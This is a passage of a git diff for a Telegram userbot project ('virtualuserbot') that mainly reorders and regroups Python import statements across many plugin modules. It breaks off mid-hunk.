virtualuserbot/modules/snip.py | 5 ++--- virtualuserbot/modules/solarsystem.py | 3 +-- virtualuserbot/modules/something.py | 3 +-- virtualuserbot/modules/song.py | 3 +-- virtualuserbot/modules/songs.py | 3 +-- virtualuserbot/modules/spacedp.py | 3 +-- virtualuserbot/modules/spam.py | 5 ++--- virtualuserbot/modules/speedtest.py | 1 - virtualuserbot/modules/sql_helper/PostAppender_sql.py | 3 +-- virtualuserbot/modules/sql_helper/blacklist_sql.py | 3 +-- .../modules/sql_helper/channel_sticker_sql.py | 3 +-- virtualuserbot/modules/sql_helper/echo_sql.py | 3 +-- virtualuserbot/modules/sql_helper/feds_sql.py | 3 +-- virtualuserbot/modules/sql_helper/filter_sql.py | 3 +-- virtualuserbot/modules/sql_helper/floodsql.py | 3 +-- virtualuserbot/modules/sql_helper/locks_sql.py | 3 +-- virtualuserbot/modules/sql_helper/lydia_ai_sql.py | 3 +-- virtualuserbot/modules/sql_helper/pmpermit_sql.py | 3 +-- virtualuserbot/modules/sql_helper/snips_sql.py | 3 +-- virtualuserbot/modules/sql_helper/warns_sql.py | 3 +-- virtualuserbot/modules/sql_helper/welcome_sql.py | 3 +-- virtualuserbot/modules/sql_helper/welcomesql.py | 3 +-- virtualuserbot/modules/ssvideo.py | 3 +-- virtualuserbot/modules/stats.py | 3 +-- virtualuserbot/modules/steganography.py | 3 +-- virtualuserbot/modules/stickcreater.py | 5 ++--- virtualuserbot/modules/sticker_2.py | 3 +-- virtualuserbot/modules/stickers.py | 7 +++---- virtualuserbot/modules/stock_price.py | 3 +-- virtualuserbot/modules/stt.py | 1 - virtualuserbot/modules/study.py | 3 +-- virtualuserbot/modules/superheroes.py | 1 - virtualuserbot/modules/tagall.py | 3 +-- virtualuserbot/modules/tb_button.py | 3 +-- virtualuserbot/modules/telegraph.py | 5 ++--- virtualuserbot/modules/test.py | 3 +-- virtualuserbot/modules/thumbnail.py | 3 +-- virtualuserbot/modules/tiktok.py | 3 +-- virtualuserbot/modules/time.py | 3 +-- virtualuserbot/modules/toonify.py | 1 - virtualuserbot/modules/torrentsearch.py | 1 - virtualuserbot/modules/torrentz.py | 1 - virtualuserbot/modules/translate.py | 5 ++--- virtualuserbot/modules/trolls.py | 5 ++--- virtualuserbot/modules/tweet.py | 5 ++--- virtualuserbot/modules/typing.py | 3 +-- virtualuserbot/modules/ukinti.py | 3 +-- virtualuserbot/modules/ultragoogle.py | 3 +-- virtualuserbot/modules/undlt.py | 3 +-- virtualuserbot/modules/updater.py | 4 ++-- virtualuserbot/modules/upload_dl.py | 7 +++---- virtualuserbot/modules/uploadtoverysteam.py | 3 +-- virtualuserbot/modules/urbandictionary.py | 1 - virtualuserbot/modules/urlshortner.py | 1 - virtualuserbot/modules/userinfo.py | 5 ++--- virtualuserbot/modules/utube.py | 3 +-- virtualuserbot/modules/verysteam.py | 3 +-- virtualuserbot/modules/virustotal.py | 3 +-- virtualuserbot/modules/voice.py | 3 +-- virtualuserbot/modules/vsong.py | 3 +-- virtualuserbot/modules/warnbun.py | 3 +-- virtualuserbot/modules/weather.py | 1 - virtualuserbot/modules/webshot.py | 1 - virtualuserbot/modules/webtools.py | 7 +++---- virtualuserbot/modules/weebify.py | 3 +-- virtualuserbot/modules/welcome.py | 5 ++--- virtualuserbot/modules/wikimedia.py | 3 +-- virtualuserbot/modules/wikipedia.py | 3 +-- virtualuserbot/modules/xkcd.py | 3 +-- virtualuserbot/modules/xnxx.py | 3 +-- virtualuserbot/modules/ytdl.py | 3 +-- virtualuserbot/modules/ytmusic.py | 3 +-- virtualuserbot/utils.py | 7 +++---- virtualuserbot/wraptools/__init__.py | 4 ++-- 248 files changed, 263 insertions(+), 503 deletions(-) diff --git a/virtualuserbot/__main__.py b/virtualuserbot/__main__.py index 19848675..a9fc84f9 100644 --- a/virtualuserbot/__main__.py +++ b/virtualuserbot/__main__.py @@ -3,11 +3,11 @@ from sys import argv import telethon.utils -from telethon import TelegramClient - from fridaybot import bot from fridaybot.Configs import Config from fridaybot.utils import load_module, start_assistant +from telethon import TelegramClient + from var import Var sed = logging.getLogger("VirtualUserbot") diff --git a/virtualuserbot/events.py b/virtualuserbot/events.py index 8c0d1199..94099970 100644 --- a/virtualuserbot/events.py +++ b/virtualuserbot/events.py @@ -13,9 +13,8 @@ from time import gmtime, strftime from traceback import format_exc -from telethon import events - from fridaybot import LOGSPAMMER, PRIVATE_GROUP_ID, bot +from telethon import events def register(**args): diff --git a/virtualuserbot/function/__init__.py b/virtualuserbot/function/__init__.py index f8b387bc..dfcda734 100644 --- a/virtualuserbot/function/__init__.py +++ b/virtualuserbot/function/__init__.py @@ -16,6 +16,7 @@ import telethon from bs4 import BeautifulSoup from bs4 import BeautifulSoup as bs +from fridaybot.utils import load_module from hachoir.metadata import extractMetadata from hachoir.parser import createParser from pymediainfo import MediaInfo @@ -37,8 +38,6 @@ XAttrMetadataError, ) -from fridaybot.utils import load_module - BASE_URL = "https://isubtitles.org" import os import zipfile diff --git a/virtualuserbot/modules/__init__.py b/virtualuserbot/modules/__init__.py index 5b0aa796..c83f5e1a 100644 --- a/virtualuserbot/modules/__init__.py +++ b/virtualuserbot/modules/__init__.py @@ -1,5 +1,6 @@ from fridaybot.Configs import Config from fridaybot.utils import friday_on_cmd + from var import Var issudousing = Config.SUDO_USERS diff --git a/virtualuserbot/modules/_inlinebot.py b/virtualuserbot/modules/_inlinebot.py index 864b7d98..911ab2c8 100644 --- a/virtualuserbot/modules/_inlinebot.py +++ b/virtualuserbot/modules/_inlinebot.py @@ -6,15 +6,14 @@ from urllib.parse import quote import requests +from fridaybot import ALIVE_NAME, CMD_HELP, CMD_LIST, lang +from fridaybot.function import _ytdl +from fridaybot.modules import inlinestats from pornhub_api import PornhubApi from search_engine_parser import GoogleSearch from telethon import Button, custom, events, functions from youtube_search import YoutubeSearch -from fridaybot import ALIVE_NAME, CMD_HELP, CMD_LIST, lang -from fridaybot.function import _ytdl -from fridaybot.modules import inlinestats - PMPERMIT_PIC = os.environ.get("PMPERMIT_PIC", None) if PMPERMIT_PIC is None: WARN_PIC = "https://telegra.ph/file/0e7a45ed44e17ce68d8cd.png" diff --git a/virtualuserbot/modules/add.py b/virtualuserbot/modules/add.py index f76a29a0..fe32237e 100644 --- a/virtualuserbot/modules/add.py +++ b/virtualuserbot/modules/add.py @@ -1,17 +1,15 @@ """Invite the user(s) to the current chat Syntax: .invite """ -from telethon import functions - from fridaybot.utils import friday_on_cmd +from telethon import functions """Invite the user(s) to the current chat Syntax: .invite """ -from telethon import functions - from fridaybot import CMD_HELP from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from telethon import functions @friday.on(friday_on_cmd(pattern="invite ?(.*)")) diff --git a/virtualuserbot/modules/admin.py b/virtualuserbot/modules/admin.py index 3070091e..a955b3ec 100644 --- a/virtualuserbot/modules/admin.py +++ b/virtualuserbot/modules/admin.py @@ -9,6 +9,8 @@ from asyncio import sleep from os import remove +from fridaybot import BOTLOG, BOTLOG_CHATID, CMD_HELP +from fridaybot.utils import admin_cmd, errors_handler from telethon.errors import ( BadRequestError, ChatAdminRequiredError, @@ -31,9 +33,6 @@ MessageMediaPhoto, ) -from fridaybot import BOTLOG, BOTLOG_CHATID, CMD_HELP -from fridaybot.utils import admin_cmd, errors_handler - # =================== CONSTANT =================== PP_TOO_SMOL = "`The image is too small`" PP_ERROR = "`Failure while processing the image`" diff --git a/virtualuserbot/modules/adultzone.py b/virtualuserbot/modules/adultzone.py index a93bfaf8..1bb55e87 100644 --- a/virtualuserbot/modules/adultzone.py +++ b/virtualuserbot/modules/adultzone.py @@ -7,7 +7,6 @@ import urllib import requests - from fridaybot import pro from ..utils import admin_cmd, sudo_cmd diff --git a/virtualuserbot/modules/afk.py b/virtualuserbot/modules/afk.py index c46670e6..be07551e 100644 --- a/virtualuserbot/modules/afk.py +++ b/virtualuserbot/modules/afk.py @@ -4,11 +4,10 @@ import datetime from datetime import datetime +from fridaybot import CMD_HELP, lang from telethon import events from telethon.tl import functions, types -from fridaybot import CMD_HELP, lang - global USER_AFK # pylint:disable=E0602 global afk_time # pylint:disable=E0602 global last_afk_message # pylint:disable=E0602 diff --git a/virtualuserbot/modules/alive.py b/virtualuserbot/modules/alive.py index a5b03161..9a97c33b 100644 --- a/virtualuserbot/modules/alive.py +++ b/virtualuserbot/modules/alive.py @@ -2,11 +2,10 @@ # CREDITS: @WhySooSerious, @Sur_vivor import time -from uniborg.util import friday_on_cmd, sudo_cmd - from fridaybot import ALIVE_NAME, CMD_HELP, Lastupdate from fridaybot.Configs import Config from fridaybot.modules import currentversion +from uniborg.util import friday_on_cmd, sudo_cmd # Functions diff --git a/virtualuserbot/modules/allban.py b/virtualuserbot/modules/allban.py index 74a8eda7..12620708 100644 --- a/virtualuserbot/modules/allban.py +++ b/virtualuserbot/modules/allban.py @@ -3,11 +3,10 @@ # team cobra from asyncio import sleep +from fridaybot import bot from telethon.tl.functions.channels import EditBannedRequest from telethon.tl.types import ChatBannedRights -from fridaybot import bot - from ..utils import admin_cmd diff --git a/virtualuserbot/modules/anime.py b/virtualuserbot/modules/anime.py index 623cf0da..f3058a7c 100644 --- a/virtualuserbot/modules/anime.py +++ b/virtualuserbot/modules/anime.py @@ -1,8 +1,7 @@ from anime_downloader.sites import get_anime_class -from mal import Anime, AnimeSearch, Manga, MangaSearch - from fridaybot import CMD_HELP from fridaybot.utils import admin_cmd +from mal import Anime, AnimeSearch, Manga, MangaSearch @friday.on(admin_cmd(pattern="anime (.*)")) diff --git a/virtualuserbot/modules/antiflood.py b/virtualuserbot/modules/antiflood.py index 810875a2..f72c85ea 100644 --- a/virtualuserbot/modules/antiflood.py +++ b/virtualuserbot/modules/antiflood.py @@ -1,10 +1,9 @@ import asyncio -from telethon.tl.functions.channels import EditBannedRequest -from telethon.tl.types import ChatBannedRights - from fridaybot import CMD_HELP, pro from fridaybot.modules.sql_helper import floodsql as sql +from telethon.tl.functions.channels import EditBannedRequest +from telethon.tl.types import ChatBannedRights from ..utils import admin_cmd diff --git a/virtualuserbot/modules/antispam.py b/virtualuserbot/modules/antispam.py index d50fa8a0..c15878d3 100644 --- a/virtualuserbot/modules/antispam.py +++ b/virtualuserbot/modules/antispam.py @@ -1,7 +1,6 @@ -from telethon.events import ChatAction - from fridaybot import bot, sclient from fridaybot.Configs import Config +from telethon.events import ChatAction """Bans Spammers/Scammer At time Of Arrival If You Add Him The Bot Won't Restrict.""" diff --git a/virtualuserbot/modules/antivirus.py b/virtualuserbot/modules/antivirus.py index b2b80837..b77e47da 100644 --- a/virtualuserbot/modules/antivirus.py +++ b/virtualuserbot/modules/antivirus.py @@ -1,9 +1,8 @@ # Lots of lub to @r4v4n4 for gibing the base <3 +from fridaybot import CMD_HELP from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError -from fridaybot import CMD_HELP - from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/archiver.py b/virtualuserbot/modules/archiver.py index 6cfd3c78..59ddc2ff 100644 --- a/virtualuserbot/modules/archiver.py +++ b/virtualuserbot/modules/archiver.py @@ -12,13 +12,12 @@ from datetime import datetime import patoolib +from fridaybot import CMD_HELP +from fridaybot.Configs import Config as Var from hachoir.metadata import extractMetadata from hachoir.parser import createParser from telethon.tl.types import DocumentAttributeVideo -from fridaybot import CMD_HELP -from fridaybot.Configs import Config as Var - from ..utils import admin_cmd, progress thumb_image_path = Var.TEMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" diff --git a/virtualuserbot/modules/assistant/main_assistant.py b/virtualuserbot/modules/assistant/main_assistant.py index 59df5acb..52938346 100644 --- a/virtualuserbot/modules/assistant/main_assistant.py +++ b/virtualuserbot/modules/assistant/main_assistant.py @@ -17,10 +17,6 @@ import re import telethon -from telethon import Button, custom, events, functions -from telethon.tl.functions.users import GetFullUserRequest -from telethon.utils import pack_bot_file_id - from fridaybot import bot from fridaybot.Configs import Config from fridaybot.modules.sql_helper.blacklist_assistant import ( @@ -34,6 +30,9 @@ already_added, get_all_users, ) +from telethon import Button, custom, events, functions +from telethon.tl.functions.users import GetFullUserRequest +from telethon.utils import pack_bot_file_id @assistant_cmd("start", is_args=False) diff --git a/virtualuserbot/modules/assistant/notes.py b/virtualuserbot/modules/assistant/notes.py index 13d03af4..c21d5901 100644 --- a/virtualuserbot/modules/assistant/notes.py +++ b/virtualuserbot/modules/assistant/notes.py @@ -1,6 +1,3 @@ -from telethon import events, utils -from telethon.tl import types - from fridaybot.Configs import Config from fridaybot.modules.sql_helper.snips_sql import ( add_snip, @@ -8,6 +5,8 @@ get_snips, remove_snip, ) +from telethon import events, utils +from telethon.tl import types TYPE_TEXT = 0 TYPE_PHOTO = 1 diff --git a/virtualuserbot/modules/autotools.py b/virtualuserbot/modules/autotools.py index d05a6712..4d9adda3 100644 --- a/virtualuserbot/modules/autotools.py +++ b/virtualuserbot/modules/autotools.py @@ -12,13 +12,12 @@ import time from datetime import datetime +from fridaybot import CMD_HELP from PIL import Image, ImageDraw, ImageFont from pySmartDL import SmartDL from telethon.errors import FloodWaitError from telethon.tl import functions -from fridaybot import CMD_HELP - from ..utils import admin_cmd, edit_or_reply AUTONAME = os.environ.get("AUTONAME", None) diff --git a/virtualuserbot/modules/barcode.py b/virtualuserbot/modules/barcode.py index 26cd363d..0a9fc3c9 100644 --- a/virtualuserbot/modules/barcode.py +++ b/virtualuserbot/modules/barcode.py @@ -9,9 +9,8 @@ import barcode from barcode.writer import ImageWriter -from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd - from fridaybot import CMD_HELP +from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd(pattern="barcode ?(.*)")) diff --git a/virtualuserbot/modules/bassboost.py b/virtualuserbot/modules/bassboost.py index 5b556c04..c4c810bf 100644 --- a/virtualuserbot/modules/bassboost.py +++ b/virtualuserbot/modules/bassboost.py @@ -4,11 +4,10 @@ import os import numpy as np +from fridaybot.utils import admin_cmd from pydub import AudioSegment from telethon import types -from fridaybot.utils import admin_cmd - @friday.on(admin_cmd(pattern="bassbost ?(.*)")) async def __(message): diff --git a/virtualuserbot/modules/bible.py b/virtualuserbot/modules/bible.py index 49654567..e8853d5c 100644 --- a/virtualuserbot/modules/bible.py +++ b/virtualuserbot/modules/bible.py @@ -1,5 +1,4 @@ import requests - from fridaybot import CMD_HELP from fridaybot.utils import admin_cmd diff --git a/virtualuserbot/modules/bin.py b/virtualuserbot/modules/bin.py index a0456047..a089219c 100644 --- a/virtualuserbot/modules/bin.py +++ b/virtualuserbot/modules/bin.py @@ -1,9 +1,8 @@ # pata nhi sir 👀👀👀👀 +from fridaybot import bot as danish_00 from telethon import events, functions from telethon.errors.rpcerrorlist import YouBlockedUserError -from fridaybot import bot as danish_00 - from ..utils import admin_cmd as danishehe diff --git a/virtualuserbot/modules/blacklist.py b/virtualuserbot/modules/blacklist.py index 6445894e..4cf35aa5 100644 --- a/virtualuserbot/modules/blacklist.py +++ b/virtualuserbot/modules/blacklist.py @@ -8,10 +8,9 @@ .rmblacklist""" import re -from telethon import events - from fridaybot import CMD_HELP from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from telethon import events from .sql_helper import blacklist_sql as sql diff --git a/virtualuserbot/modules/books.py b/virtualuserbot/modules/books.py index a0c6d4ba..7ae6a9cd 100644 --- a/virtualuserbot/modules/books.py +++ b/virtualuserbot/modules/books.py @@ -16,7 +16,6 @@ import requests from bs4 import BeautifulSoup - from fridaybot import CMD_HELP from fridaybot.utils import admin_cmd diff --git a/virtualuserbot/modules/bot_tag.py b/virtualuserbot/modules/bot_tag.py index d9895eb1..c08dfd49 100644 --- a/virtualuserbot/modules/bot_tag.py +++ b/virtualuserbot/modules/bot_tag.py @@ -12,12 +12,11 @@ # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. +from fridaybot.Configs import Config from telethon import custom, events from telethon.tl.types import Chat from telethon.utils import get_display_name -from fridaybot.Configs import Config - @friday.on( events.NewMessage( diff --git a/virtualuserbot/modules/bye.py b/virtualuserbot/modules/bye.py index 6e10b26a..2965c931 100644 --- a/virtualuserbot/modules/bye.py +++ b/virtualuserbot/modules/bye.py @@ -6,10 +6,9 @@ """ import time -from telethon.tl.functions.channels import LeaveChannelRequest - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd, sudo_cmd +from telethon.tl.functions.channels import LeaveChannelRequest @friday.on(friday_on_cmd("bye")) diff --git a/virtualuserbot/modules/calladmin.py b/virtualuserbot/modules/calladmin.py index 5f863fb6..72e40c63 100644 --- a/virtualuserbot/modules/calladmin.py +++ b/virtualuserbot/modules/calladmin.py @@ -1,9 +1,8 @@ """.admin Plugin for @UniBorg""" +from fridaybot import CMD_HELP from telethon.tl.types import ChannelParticipantsAdmins from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP - @friday.on(friday_on_cmd(pattern="admins")) async def _(event): diff --git a/virtualuserbot/modules/carbon.py b/virtualuserbot/modules/carbon.py index da0f6991..18184a3a 100644 --- a/virtualuserbot/modules/carbon.py +++ b/virtualuserbot/modules/carbon.py @@ -10,13 +10,12 @@ from time import sleep from urllib.parse import quote_plus +from fridaybot import CHROME_DRIVER, CMD_HELP, GOOGLE_CHROME_BIN +from fridaybot.utils import register from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.webdriver.common.keys import Keys -from fridaybot import CHROME_DRIVER, CMD_HELP, GOOGLE_CHROME_BIN -from fridaybot.utils import register - CARBONLANG = "auto" LANG = "en" diff --git a/virtualuserbot/modules/carbonRGB.py b/virtualuserbot/modules/carbonRGB.py index 96a03448..e1b46f1a 100644 --- a/virtualuserbot/modules/carbonRGB.py +++ b/virtualuserbot/modules/carbonRGB.py @@ -8,11 +8,10 @@ from time import sleep from urllib.parse import quote_plus +from fridaybot import CMD_HELP from selenium import webdriver from selenium.webdriver.chrome.options import Options -from fridaybot import CMD_HELP - from ..utils import admin_cmd diff --git a/virtualuserbot/modules/card.py b/virtualuserbot/modules/card.py index 95c79b4a..0372289d 100644 --- a/virtualuserbot/modules/card.py +++ b/virtualuserbot/modules/card.py @@ -6,7 +6,6 @@ # Card Generator ############################## from faker import Faker as dc - from fridaybot import bot as cobra from ..utils import admin_cmd as hehe diff --git a/virtualuserbot/modules/chain.py b/virtualuserbot/modules/chain.py index b19f7331..ec5e4adc 100644 --- a/virtualuserbot/modules/chain.py +++ b/virtualuserbot/modules/chain.py @@ -2,9 +2,8 @@ # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. -from telethon.tl.functions.messages import SaveDraftRequest - from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from telethon.tl.functions.messages import SaveDraftRequest @friday.on(friday_on_cmd(pattern="chain")) diff --git a/virtualuserbot/modules/channel_download.py b/virtualuserbot/modules/channel_download.py index 092be306..b65a5d2f 100644 --- a/virtualuserbot/modules/channel_download.py +++ b/virtualuserbot/modules/channel_download.py @@ -7,9 +7,8 @@ import os import subprocess -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd @friday.on(friday_on_cmd(pattern="getc")) diff --git a/virtualuserbot/modules/channel_sticker.py b/virtualuserbot/modules/channel_sticker.py index e7bdc145..1ff2a7f9 100644 --- a/virtualuserbot/modules/channel_sticker.py +++ b/virtualuserbot/modules/channel_sticker.py @@ -1,12 +1,11 @@ -from telethon import events -from telethon.utils import pack_bot_file_id - from fridaybot.modules.sql_helper.channel_sticker_sql import ( add_new_data_in_db, is_data_indb, remove_datas, ) from fridaybot.utils import admin_cmd +from telethon import events +from telethon.utils import pack_bot_file_id lulstark = [".", ",", "!", "'"] diff --git a/virtualuserbot/modules/checkrestrictions.py b/virtualuserbot/modules/checkrestrictions.py index bafed2e5..b2ee5257 100644 --- a/virtualuserbot/modules/checkrestrictions.py +++ b/virtualuserbot/modules/checkrestrictions.py @@ -4,9 +4,8 @@ """Check Account Restrictions .cr (.*)""" -from telethon.tl.types import Channel, Chat, User - from fridaybot.utils import friday_on_cmd +from telethon.tl.types import Channel, Chat, User @borg.on(friday_on_cmd(pattern="cr (.*)")) diff --git a/virtualuserbot/modules/classictranslate.py b/virtualuserbot/modules/classictranslate.py index 82fffe5d..80e988fd 100644 --- a/virtualuserbot/modules/classictranslate.py +++ b/virtualuserbot/modules/classictranslate.py @@ -4,9 +4,8 @@ .tl LangaugeCode | text to translate""" import emoji -from googletrans import Translator - from fridaybot import CMD_HELP +from googletrans import Translator from ..utils import admin_cmd diff --git a/virtualuserbot/modules/clone.py b/virtualuserbot/modules/clone.py index 41b53f96..3284d476 100644 --- a/virtualuserbot/modules/clone.py +++ b/virtualuserbot/modules/clone.py @@ -5,13 +5,12 @@ import asyncio import html +from fridaybot import CMD_HELP +from fridaybot.utils import friday_on_cmd from telethon.tl import functions from telethon.tl.functions.users import GetFullUserRequest from telethon.tl.types import MessageEntityMentionName -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd - @friday.on(friday_on_cmd(pattern="clone ?(.*)")) async def _(event): diff --git a/virtualuserbot/modules/coinflip.py b/virtualuserbot/modules/coinflip.py index 57abf67f..04f78ebe 100644 --- a/virtualuserbot/modules/coinflip.py +++ b/virtualuserbot/modules/coinflip.py @@ -2,9 +2,8 @@ Syntax: .coinflip [optional_choice]""" import random -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd @friday.on(friday_on_cmd(pattern="coin ?(.*)")) diff --git a/virtualuserbot/modules/colors.py b/virtualuserbot/modules/colors.py index 0586dfd1..9d2e85cb 100644 --- a/virtualuserbot/modules/colors.py +++ b/virtualuserbot/modules/colors.py @@ -2,10 +2,9 @@ Syntax: .color """ import os -from PIL import Image, ImageColor - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd +from PIL import Image, ImageColor @friday.on(friday_on_cmd(pattern="color (.*)")) diff --git a/virtualuserbot/modules/congratulations.py b/virtualuserbot/modules/congratulations.py index f68a3f88..1d7aa69f 100644 --- a/virtualuserbot/modules/congratulations.py +++ b/virtualuserbot/modules/congratulations.py @@ -1,8 +1,7 @@ import random -from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd - from fridaybot import CMD_HELP +from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd RUNSREACTS = [ "`Congratulations and BRAVO!`", diff --git a/virtualuserbot/modules/count.py b/virtualuserbot/modules/count.py index 3926916c..8b4f7d3e 100644 --- a/virtualuserbot/modules/count.py +++ b/virtualuserbot/modules/count.py @@ -3,13 +3,12 @@ import logging import time +from fridaybot import CMD_HELP +from fridaybot.utils import friday_on_cmd from telethon.events import NewMessage from telethon.tl.custom import Dialog from telethon.tl.types import Channel, Chat, User -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd - logging.basicConfig( format="[%(levelname) 5s/%(asctime)s] %(name)s: %(message)s", level=logging.WARNING ) diff --git a/virtualuserbot/modules/countries.py b/virtualuserbot/modules/countries.py index 28500ada..49150395 100644 --- a/virtualuserbot/modules/countries.py +++ b/virtualuserbot/modules/countries.py @@ -13,7 +13,6 @@ import flag from countryinfo import CountryInfo - from fridaybot import CMD_HELP from fridaybot.utils import admin_cmd diff --git a/virtualuserbot/modules/covid.py b/virtualuserbot/modules/covid.py index 40f0102d..9a64bc60 100644 --- a/virtualuserbot/modules/covid.py +++ b/virtualuserbot/modules/covid.py @@ -1,6 +1,5 @@ # corona virus stats for catuserbot from covid import Covid - from fridaybot import CMD_HELP from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/cow.py b/virtualuserbot/modules/cow.py index 7d605bc4..892e723f 100644 --- a/virtualuserbot/modules/cow.py +++ b/virtualuserbot/modules/cow.py @@ -4,9 +4,8 @@ from cowpy import cow -from telethon import events - from fridaybot import CMD_HELP +from telethon import events @friday.on(events.NewMessage(pattern=r"^.(\w+)say (.*)", outgoing=True)) diff --git a/virtualuserbot/modules/crack_tools.py b/virtualuserbot/modules/crack_tools.py index 2e12a932..e7b466a1 100644 --- a/virtualuserbot/modules/crack_tools.py +++ b/virtualuserbot/modules/crack_tools.py @@ -1,10 +1,9 @@ import os import requests -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP from fridaybot.utils import admin_cmd, friday_on_cmd +from uniborg.util import friday_on_cmd data = { "User-Agent": "NordApp android (playstore/2.8.6) Android 9.0.0", diff --git a/virtualuserbot/modules/create.py b/virtualuserbot/modules/create.py index b08d2718..e19dc195 100644 --- a/virtualuserbot/modules/create.py +++ b/virtualuserbot/modules/create.py @@ -2,10 +2,9 @@ for bot credits to @pureindialover """ -from telethon.tl import functions - from fridaybot import CMD_HELP from fridaybot.events import register +from telethon.tl import functions @register(outgoing=True, pattern="^.create (b|g|c)(?: |$)(.*)") diff --git a/virtualuserbot/modules/cricket_score.py b/virtualuserbot/modules/cricket_score.py index 95695fef..0db7e886 100644 --- a/virtualuserbot/modules/cricket_score.py +++ b/virtualuserbot/modules/cricket_score.py @@ -15,7 +15,6 @@ import urllib.request from bs4 import BeautifulSoup - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd diff --git a/virtualuserbot/modules/crypto.py b/virtualuserbot/modules/crypto.py index 9f24fa06..5c97eb58 100644 --- a/virtualuserbot/modules/crypto.py +++ b/virtualuserbot/modules/crypto.py @@ -13,7 +13,6 @@ import cryptocompare - from fridaybot import CMD_HELP from fridaybot.utils import admin_cmd diff --git a/virtualuserbot/modules/currency.py b/virtualuserbot/modules/currency.py index 0984547b..8b1b8e68 100644 --- a/virtualuserbot/modules/currency.py +++ b/virtualuserbot/modules/currency.py @@ -2,9 +2,8 @@ from datetime import datetime import requests -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd @friday.on(friday_on_cmd(pattern="currency (.*)")) diff --git a/virtualuserbot/modules/dagd.py b/virtualuserbot/modules/dagd.py index 25cb6cdf..aeb2ebcf 100644 --- a/virtualuserbot/modules/dagd.py +++ b/virtualuserbot/modules/dagd.py @@ -5,7 +5,6 @@ .url .unshort """ import requests - from fridaybot.utils import friday_on_cmd diff --git a/virtualuserbot/modules/decide.py b/virtualuserbot/modules/decide.py index d6198820..9e9cae5a 100644 --- a/virtualuserbot/modules/decide.py +++ b/virtualuserbot/modules/decide.py @@ -1,7 +1,6 @@ """Quickly make a decision Syntax: .decide""" import requests - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd diff --git a/virtualuserbot/modules/deepfryer.py b/virtualuserbot/modules/deepfryer.py index cdfdd03d..b2d33eab 100644 --- a/virtualuserbot/modules/deepfryer.py +++ b/virtualuserbot/modules/deepfryer.py @@ -32,13 +32,12 @@ import os from random import randint, uniform -from PIL import Image, ImageEnhance, ImageOps -from telethon.tl.types import DocumentAttributeFilename -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP from fridaybot.function import convert_to_image from fridaybot.utils import friday_on_cmd +from PIL import Image, ImageEnhance, ImageOps +from telethon.tl.types import DocumentAttributeFilename +from uniborg.util import friday_on_cmd sedpath = "./starkgangz/" if not os.path.isdir(sedpath): diff --git a/virtualuserbot/modules/delfp.py b/virtualuserbot/modules/delfp.py index b4ba22eb..3d68e492 100644 --- a/virtualuserbot/modules/delfp.py +++ b/virtualuserbot/modules/delfp.py @@ -1,9 +1,8 @@ +from fridaybot import CMD_HELP from telethon.tl.functions.photos import DeletePhotosRequest, GetUserPhotosRequest from telethon.tl.types import InputPhoto from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd -from fridaybot import CMD_HELP - @friday.on(friday_on_cmd(pattern="delpfp ?(.*)")) @friday.on(sudo_cmd(pattern="delpfp ?(.*)", allow_sudo=True)) diff --git a/virtualuserbot/modules/design.py b/virtualuserbot/modules/design.py index 2523c726..82796d60 100644 --- a/virtualuserbot/modules/design.py +++ b/virtualuserbot/modules/design.py @@ -1,8 +1,7 @@ """.admin Plugin for @UniBorg""" -from telethon.tl.types import ChannelParticipantsAdmins - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd +from telethon.tl.types import ChannelParticipantsAdmins @friday.on(friday_on_cmd("join")) diff --git a/virtualuserbot/modules/diceandart.py b/virtualuserbot/modules/diceandart.py index 5a58262c..8092c078 100644 --- a/virtualuserbot/modules/diceandart.py +++ b/virtualuserbot/modules/diceandart.py @@ -1,7 +1,6 @@ -from telethon.tl.types import InputMediaDice - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd +from telethon.tl.types import InputMediaDice # EMOJI CONSTANTS DART_E_MOJI = "🎯" diff --git a/virtualuserbot/modules/dictionary.py b/virtualuserbot/modules/dictionary.py index 1ec7560d..e3a63b88 100644 --- a/virtualuserbot/modules/dictionary.py +++ b/virtualuserbot/modules/dictionary.py @@ -6,9 +6,8 @@ nltk.download("wordnet") from nltk.corpus import wordnet -from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd - from fridaybot import CMD_HELP +from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd("meaning (.*)")) diff --git a/virtualuserbot/modules/direct_links.py b/virtualuserbot/modules/direct_links.py index ed3efca4..40da1d58 100644 --- a/virtualuserbot/modules/direct_links.py +++ b/virtualuserbot/modules/direct_links.py @@ -13,10 +13,9 @@ import requests from bs4 import BeautifulSoup -from humanize import naturalsize - from fridaybot import CMD_HELP from fridaybot.events import register +from humanize import naturalsize def subprocess_run(cmd): diff --git a/virtualuserbot/modules/dm.py b/virtualuserbot/modules/dm.py index b454949f..26ce092f 100644 --- 